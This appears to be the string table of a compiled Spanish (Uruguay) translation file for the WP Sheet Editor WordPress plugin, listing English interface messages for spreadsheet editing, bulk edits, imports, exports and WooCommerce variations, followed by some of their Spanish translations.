                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_UY MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

